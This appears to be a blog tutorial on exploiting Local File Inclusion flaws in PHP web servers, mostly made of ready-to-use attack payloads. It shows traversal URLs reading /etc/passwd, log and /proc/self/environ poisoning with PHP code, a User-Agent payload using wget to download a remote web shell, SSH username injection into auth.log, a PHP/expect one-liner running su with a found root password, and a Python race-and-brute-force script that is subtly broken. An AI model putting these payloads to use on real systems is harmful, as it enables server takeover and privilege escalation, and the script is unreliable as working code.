Padlock image

Local File Includes (LFI) is an easy way for an attacker to view files on a server that were not meant to be viewed or retrieved. Through either a mis-configured setting on the server code or bad programming a would-be attacker can potentially view local Operating System files in the current web-page.

Exploiting LFI

If you can include files from local application/web server, below is the most basic test for LFI:

http://vulnsite.com?exec=aaa/../../../../../etc/passwd

This initial test is usually successful as “/etc/passwd’’ file usually as read-world permissions. The application server typically runs as “apache’’ thus denying permission to read “/etc/shadow’’ which usually has stricter permissions. Note: this may be different for IoT devices as they typically run as root!

Code Execution

Requirements: PHP installed.

There are quite a few nice articles on internet on how one can do code execution from LFI. But essentially, you need php installed and then you try to inject php code into certain files and then try to include these files. These files typically are:

  • Apache access logs
  • Apache error logs
  • /proc/self/environ
  • /var/log/apache/error.log

On this occasion the ‘apache’ user had access to read the error logs. So, when you access a URI such as:

http://vuln.com/foo%3c%3fphp%20passthru('id')%20%3f%3e

It adds the following line to Apache’s error log:

404 file not found foo<?php passthru(’id’);?>

Now, you can include the error log files and execute the OS code:

http://vulnsite.com?exec=aaa/../../../../../usr/local/apache/logs/error_logs%00a

/proc/self/environ

Now lets see if /proc/self/environ is accessible? We replace /etc/passwd with /proc/self/environ

www.website.com/view.php?page=../../../../../proc/self/environ

If you get something like the below, its highly likely it is exploitable:

DOCUMENT_ROOT=/home/test/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

If you got a blank page or an error? /proc/self/environ is not accessible or the OS is likely FreeBSD and not vulnerable to this particular attack.

Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.

Use Tamper Data Addon for Firefox to change the User-Agent, (or equally another intercepting proxy).

<?system(‘wget http://vuln.com/Shells/gny.txt -O shell.php’);?>

Start Tamper Data in Firefox and request the LFI similar to (you will have to adapt the URL for your vulnerable website):

www.website.com/view.php?page=../../../../../proc/self/environ

A PHP-shell should then be available at:

www.website.com/shell.php
SSH and /var/log/auth.log
ssh “<?php echo system($_GET[“cmd”]);exit;?>”@example.com
Code should be stored in “/var/log/auth.log’’.

Include this log file (“/var/log/auth.log’’) for the win!

Getting Root

If you are lucky enough to find a password in a clear text file, how could you exploit this?….

After researching the idea, we thought of a way to use “expect’’ with the following 1 line of php script:

<?php passthru(echo -e \’#!/usr/bin/expect -f\nset password [lrange $argv 0 0]; set cmd [lrange $argv 1 1];set timeout -1; spawn su -c “$cmd” ;
match_max 100000 ;expect *?assword:*; send  $password\r; send  \r; expect eof\’>/tmp/su.exp&/usr/bin/expect /tmp/su.exp passw0rd whoami>>/tmp/out.txt);?>

This script will do the following:

  • create an expect script(/tmp/su.exp) which will take the root (su) password and command to execute as argument.
  • run the expect script with the root password and command to run as root.

Getting Root 2

An LFI vulnerability on a pentest once revealed server logs, and “auth.log” was world readable!

By default, OpenSSH makes an entry (consisting of the user name and other data) to auth.log for every authentication attempt made to the ssh daemon. Knowing this, I did some quick testing and found that I could inject php code into auth.log from the user name field of an ssh client by attempting to authenticate. The command took some time to get working right as bash requires finesse for processing special characters, but after some troubleshooting, I came up with the following:

<?php echo system($_GET[cmd]);exit;?>’@<host>

One issue we encountered is that OpenSSH makes 2 entries containing the user name to auth.log for every authentication attempt. In the following example, only one authentication attempt was made, but, as you can see, it appears in the log 2x times.

May 10 21:26:57 host sshd[17594]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=host.localdomain user=
<?php echo system($_GET[cmd]);exit;?>
May 10 21:26:59 host sshd[17592]: error: PAM: Authentication failure for
<?php echo system($_GET[cmd]);exit;?> from host.localdomain

The injected command will run three unless php execution is terminated after the first command. We did this above with the exit; command. The unfortunate side effect is that you have one chance to get this right. Otherwise, you have to wait until the log cycles before you can make another attempt. Here is what the final product looked like with the addition of a pre-format tag:

http://<host>/index.php?page=../../../../var/log/auth.log?cmd=ls+-lh+/var/log
total 14M
drwxr-xr-x 2 root root 4.0K Apr 2 20:53 ConsoleKit
-rw-r — r — 1 root user 15K May 10 17:03 Xorg.0.log
-rw-r — r — 1 root user 15K May 10 16:00 Xorg.0.log.old
-rw-r — r — 1 root user 7.4K Aug 10 2009 Xorg.6.log
-rw-r — r — 1 root user 7.4K Aug 10 2009 Xorg.6.log.old
drwxr-xr-x 2 apache apache 4.0K May 8 03:10 apache2
…

Abusing tmp

So the plan is to:

Upload a file and trigger a self-inclusion. Repeat step-1 many times to:

  • increase our odds of winning the race
  • increase our guessing odds
  • Bruteforce the inclusion of /tmp/[0–9a-zA-Z]{6}

Enjoy our shell.

import itertools
import requests
import sys
print(‘[+] Trying to win the race’)
f = {‘file’: open(‘shell.php’, ‘rb’)}
for _ in range(4096 * 4096):
 requests.post(‘http://target.com/index.php?c=index.php', f)
print(‘[+] Bruteforcing the inclusion’)
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
 url = ‘http://target.com/index.php?c=/tmp/php' + fname
 r = requests.get(url)
 if ‘load average’ in r.text: # <?php echo system(‘uptime’);
 print(‘[+] We have got a shell: ‘ + url)
 sys.exit(0)
print(‘[x] Something went wrong, please try again’)

Share on: